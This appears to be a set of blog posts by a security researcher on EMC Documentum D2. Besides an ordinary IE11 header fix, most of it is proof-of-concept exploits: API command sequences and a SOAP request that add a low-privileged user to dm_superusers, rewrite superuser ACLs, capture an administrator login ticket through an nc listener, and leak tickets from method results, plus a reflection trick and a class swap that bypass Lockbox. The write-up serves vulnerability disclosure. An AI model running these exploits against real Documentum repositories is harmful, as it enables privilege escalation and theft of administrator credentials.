Q & A. X

Q:

Hi,
I am trying to write a standalone DF/D2 program. I create a DFC session and then make it in D2 context by D2Session.initTBO. I think perform normal DFC set, save operation on a sysobject. When I try to apply a D2 configuration like D2AuditConfig.apply I get the below error How to correct this??

ERROR 1 – D2 lockbox file or D2Method.passphrase property within it could not be found.
Exception in thread “main” DfException:: THREAD: main; MSG: Impossible to decrypt the method server response; ERRORCODE: ff; NEXT: null
at com.emc.d2.api.methods.D2Method.start(D2Method.java:417)

A:

You have two options:

  • put and setup all Lockbox stuff onto client side
  • Take advantage of reflection:
    Field ticketField = D2Session.class.getField("s_ticket");
    ticketField.setAccessible(true);
    Map tickets = (Map) ticketField.get(null);
    tickets.put("docbase_name", "dmadmin_password");
    

Q:

Also, cant it disable Lockbox altogether in 7.2+D24.5 environment?

A:

Download latest (or m.b. previous to latest or so) service pack for D2 4.2, extract com.emc.common.java.crypto.AESCrypto class from C6-Common-4.2.0.jar, insert it into C6-Common-4.5.0.jar.

CVE-2015-0518. Was it really fixed?

Three weeks ago EMC announced CVE-2015-0518:

A method in the Properties service of the D2FS web service component may allow a low privileged D2 user to manipulate group permissions and obtain superuser privileges.

You can find related PoC in Second dive into D2 security. This vulnerability is also mentioned in CERT’s spreadsheet. If you were lucky and were able to download the first version of CERT’s spreadsheet (otherwise you can find it here) you can find following EMC’s comment about this vulnerability:

It appears that the fixed releases communicated for this issue were incorrect. This has not been fixed because the vulnerability described in PSRC-2105 (D2 configuration objects not being protected with ACLs) on which it relies has not been fixed yet. However, fixing the latter will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

So, besides that D2 actively uses docbase methods (which is insecure, unreliable, etc) it also does not protect its config objects from editing by regular user – I bet such weird implementation was caused by misleading performance tips from EMC:

What really happened in CVE-2015-0518? EMC fixed a PoC described in Second dive into D2 security, “new” (the previous one just truncated value of node_admin_security_group attribute in d2_options object) PoC is:

api:

API> retrieve,c,d2_options
...
000224838000012c
API> dump,c,l
...
USER ATTRIBUTES

...

  node_admin_security_group       : admingroup

...

API> set,c,l,node_user_security_group
SET> <any group attacker belongs to>
...
OK
API>
save,c,l
...
OK

soap:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
           xmlns:con="http://www.emc.com/d2fs/services/content_service"
           xmlns:com="http://www.emc.com/d2fs/models/common"
           xmlns:prop="http://www.emc.com/d2fs/services/property_service" 
           xmlns:att="http://www.emc.com/d2fs/models/attribute"
           xmlns:con1="http://www.emc.com/d2fs/models/context">
   <soapenv:Header/>
   <soapenv:Body>
      <prop:savePropertiesRequest com:id="1102248380000541" >
         <con1:context uid="2" login="hacker" password="hacker">
                <con1:repository com:id="2" repositoryName="d2" serverVersion="7"
                                 repositoryType="DOCUMENTUM" hideDomain="true"/>
            </con1:context>
         <!--Zero or more repetitions:-->
         <att:attributes name="list" type="2" value="group_membership" />
         <att:attributes name="user_group_name" type="2" value="dm_superusers" />
      </prop:savePropertiesRequest>
   </soapenv:Body>
</soapenv:Envelope>

Actually, you may ask how regular user can modify docbase object in D2 which is not exposed through D2 interface, possible options are:

  • through direct connection to Content Server, if available
  • through DFS, if available
  • through WDK application – DQL editor is not the only option to execute DQL query in WDK applications
  • through D2-Config – it has GetData servlet, which allows to execute arbitrary DQL query

D2-Config vs IE11

In spite of the fact that D2 has no practical interest for me (it has a good collection of anti-patters though), yesterday one of my skypemates asked me how to make D2-Config work in IE11. The problem is EMC added http-equiv attributes into D2 pages but forgot about D2-Config, so D2-Config does not work in IE11.

I know three options to resolve this issue:

  1. If you use apache httpd as reverse proxy it is enough to add Header set X-UA-Compatible “IE=EmulateIE7” into httpd.conf
  2. You can achieve the same on application server side using urlrewritefilter, something like:
    web.xml:
    <filter>
        <filter-name>UrlRewriteFilter</filter-name>
        <filter-class>org.tuckey.web.filters.urlrewrite.UrlRewriteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>UrlRewriteFilter</filter-name>
        <url-pattern>/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
    </filter-mapping>
    
    urlrewrite.xml:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE urlrewrite PUBLIC "-//tuckey.org//DTD UrlRewrite 4.0//EN" 
          "http://www.tuckey.org/res/dtds/urlrewrite4.0.dtd">
    <urlrewrite>
        <rule>
            <set type="response-header" name="X-UA-Compatible">IE=EmulateIE7</set>
        </rule>
    </urlrewrite>
    
  3. And finally, you can code your own filter:
    import javax.servlet.*;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    
    public class IEFilter implements Filter {
    
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
                throws IOException, ServletException {
            HttpServletResponse res = (HttpServletResponse) response;
            res.addHeader("X-UA-Compatible", "IE=EmulateIE7");
            chain.doFilter(request, response);
        }
    
        @Override
        public void destroy() {
        
        }
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        
        }
        
    }

I fixed it!

grounded Got a bad news for inhabitants of EMC Support Portal: today CERT disclosed a bunch of security vulnerabilities presented in EMC Documentum products, the most interesting thing here is a fact that CERT’s list primarily contains vulnerabilities previously announced by EMC as remediated. The list of contested CVEs is: CVE-2014-2518, CVE-2014-2514, CVE-2014-2507, CVE-2014-2513, CVE-2014-4618, CVE-2014-4626, CVE-2014-2515, CVE-2014-2504, CVE-2014-4629

CVE-2014-2515 (D2GetAdminTicketMethod). Was it really fixed?

Previous investigations

Continue reading

Second dive into D2 security

Read previous one.

D2UpdateChildACLMethod

API> retrieve,c,dm_acl where object_name='dm_acl_superusers'
...
45022483800001bc
API> dump,c,45022483800001bc
...
USER ATTRIBUTES

  object_name                     : dm_acl_superusers
  description                     : ACL of superusers used for Docbase Administration
  owner_name                      : d2
  globally_managed                : F
  acl_class                       : 0

SYSTEM ATTRIBUTES

  r_is_internal                   : F
  r_accessor_name              [0]: dm_world
                               [1]: dm_owner
                               [2]: admingroup
  r_accessor_permit            [0]: 1
                               [1]: 7
                               [2]: 7
  r_accessor_xpermit           [0]: 0
                               [1]: 0
                               [2]: 0
  r_is_group                   [0]: F
                               [1]: F
                               [2]: T
  r_has_events                    : F
  r_permit_type                [0]: 0
                               [1]: 0
                               [2]: 0
  r_application_permit         [0]:
                               [1]:
                               [2]:
  r_template_id                   : 0000000000000000
  r_alias_set_id                  : 0000000000000000
  r_object_id                     : 45022483800001bc

APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES

  i_has_required_groups           : F
  i_has_required_group_set        : F
  i_has_access_restrictions       : F
  i_partition                     : 0
  i_is_replica                    : F
  i_vstamp                        : 0

API> retrieve,c,dm_method where object_name='dm_GroupRename'
...
[DM_API_E_NO_MATCH]error:  
   "There was no match in the docbase for the qualification: 
      dm_method where object_name='dm_GroupRename'"

API> create,c,d2_acl_config
...
000224838000012b
API> set,c,l,object_name
SET> ACL of superusers used for Docbase Administration
...
OK
API> append,c,l,accessor_name
SET> dm_world
...
OK
API> append,c,l,condition_attr_name
SET>
...
OK
API> append,c,l,condition_attr_value
SET>
...
OK
API> append,c,l,accessor_permit
SET> 7
...
OK
API> append,c,l,accessor_xpermit
SET> 0
...
OK
API> save,c,l
...
OK
API> apply,c,,DO_METHOD,METHOD,S,D2UpdateChildACLMethod,
     ARGUMENTS,S,'
       -docbase_name d2 
       -password "" 
       -acl_config_name "ACL of superusers used for Docbase Administration"
     '
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  result                          : 0
  process_id                      : 0
  launch_failed                   : F
  method_return_val               : 0
  os_system_error                 : No Error
  timed_out                       : F
  time_out_length                 : 100
  app_server_host_name            : test
  app_server_port                 : 9080
  app_server_uri                  : /DmMethods/servlet/DoMethod
  error_message                   :

SYSTEM ATTRIBUTES


APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES


API> close,c,q0
...
OK
API> retrieve,c,dm_method where object_name='dm_GroupRename'
...
100224838000056e
API> get,c,l,_permit
...
7

D2RefreshCacheMethod

nc:

nc -l 7777

api:

API> create,c,d2_options
...
000224838000012c
API> append,c,l,client_urls
SET> http://localhost:7777/
...
OK
API> save,c,l
...
OK
API> apply,c,,DO_METHOD,METHOD,S,D2RefreshCacheMethod,
     ARGUMENTS,S,'-docbase_name d2 -password "" -all true',SAVE_RESULTS,B,T
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  result                          : 0902248380002c87
  result_doc_id                   : 0902248380002c87
  process_id                      : 0
  launch_failed                   : F
  method_return_val               : 0
  os_system_error                 : No Error
  timed_out                       : F
  time_out_length                 : 100
  app_server_host_name            : test
  app_server_port                 : 9080
  app_server_uri                  : /DmMethods/servlet/DoMethod
  error_message                   :

SYSTEM ATTRIBUTES


APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES


API> getpath,c,0902248380002c87
...
/u01/documentum/cs/data/d2/content_storage_01/00022483/80/00/0a/b6.txt
API> quit
Bye
 ~]$ cat content_storage_01/00022483/80/00/0a/b6.txt
==== START ======================================================================
...............
Refresh cache URL http://localhost:7777/servlet/..._password=DM_TICKET%3DT0...

nc:

GET /servlet/RefreshCache?_docbase=d2&_username=dmadmin&_password=DM_TICKET%3DT0... HTTP/1.1
User-Agent: Java/1.7.0_51
Host: localhost:7777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

D2WF{LaunchScheduledWorkflows, LifeCycle, ReceiveTaskMail, SendTaskMail}Method

If we execute method with SAVE_RESULTS=T we can get user ticket:

==== START =======================================================
D2-API v4.2.0010 build 378
DFC version : 7.1.0020.0120
file.encoding : UTF-8
Arguments : ...
User  : d2_mail_manager
Domain  :
User password : DM_TICKET=T0JKIE5VTEwgMAoxMwp2ZXJzaW9u...
New session manager creation.
Session manager set identity.
Session manager get session.
Tasks found : 0
==== END (0.166s) ================================================

D2FS

api:

API> retrieve,c,dm_user where user_name='hacker'
...
1102248380000541
API> retrieve,c,d2_options
...
000224838000012c
API> dump,c,l
...
USER ATTRIBUTES

  config_security_group           :
  client_security_group           :
  node_admin_security_group       : admingroup
  forbidden_copy                []: <none>
  client_urls                   []: <none>
  enable_compare                  : F
  attribute_list_display_mode     : 0
  node_user_security_group        : admingroup
  node_group_security_group       : admingroup
  node_group_user_parent          : node_admin
  node_group_display_all          : T
  dfc_validator                   : T
  in_create_config              []: <none>
  url_allowed_actions           []: <none>
  lock_config                     : F

SYSTEM ATTRIBUTES

  r_object_id                     : 000224838000012c

APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES

  i_is_replica                    : F
  i_vstamp                        : 2

API> set,c,l,node_user_security_group
SET>
...
OK
API>
save,c,l
...
OK

soap:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
           xmlns:con="http://www.emc.com/d2fs/services/content_service"
           xmlns:com="http://www.emc.com/d2fs/models/common"
           xmlns:prop="http://www.emc.com/d2fs/services/property_service" 
           xmlns:att="http://www.emc.com/d2fs/models/attribute"
           xmlns:con1="http://www.emc.com/d2fs/models/context">
   <soapenv:Header/>
   <soapenv:Body>
      <prop:savePropertiesRequest com:id="1102248380000541" >
         <con1:context uid="2" login="hacker" password="hacker">
                <con1:repository com:id="2" repositoryName="d2" serverVersion="7"
                                 repositoryType="DOCUMENTUM" hideDomain="true"/>
            </con1:context>
         <!--Zero or more repetitions:-->
         <att:attributes name="list" type="2" value="group_membership" />
         <att:attributes name="user_group_name" type="2" value="dm_superusers" />
      </prop:savePropertiesRequest>
   </soapenv:Body>
</soapenv:Envelope>

api:

API> retrieve,c,dm_group where group_name='dm_superusers'
...
1202248380000101
API> dump,c,l
...
USER ATTRIBUTES

  group_name                      : dm_superusers
  group_address                   :
  users_names                  [0]: hacker
  groups_names                 [0]: dm_superusers_dynamic
                               [1]: dcs_privileged_users
  owner_name                      : d2
  is_private                      : F
  description                     :
  globally_managed                : F
  alias_set_id                    : 0000000000000000
  group_source                    :
  group_class                     : privilege group
  group_admin                     :
  is_dynamic                      : F
  is_dynamic_default              : F
  group_global_unique_id          : d2:dm_superusers
  group_native_room_id            : 0000000000000000
  group_directory_id              : 0000000000000000
  group_display_name              : dm_superusers
  is_protected                    : F
  is_module_only                  : F

SYSTEM ATTRIBUTES

  r_modify_date                   : 4/19/2014 22:54:42
  r_has_events                    : F
  r_object_id                     : 1202248380000101

APPLICATION ATTRIBUTES


INTERNAL ATTRIBUTES

  i_all_users_names            [0]: hacker
  i_supergroups_names          [0]: dm_superusers
  i_nondyn_supergroups_names   [0]: dm_superusers
  i_is_replica                    : F
  i_vstamp                        : 4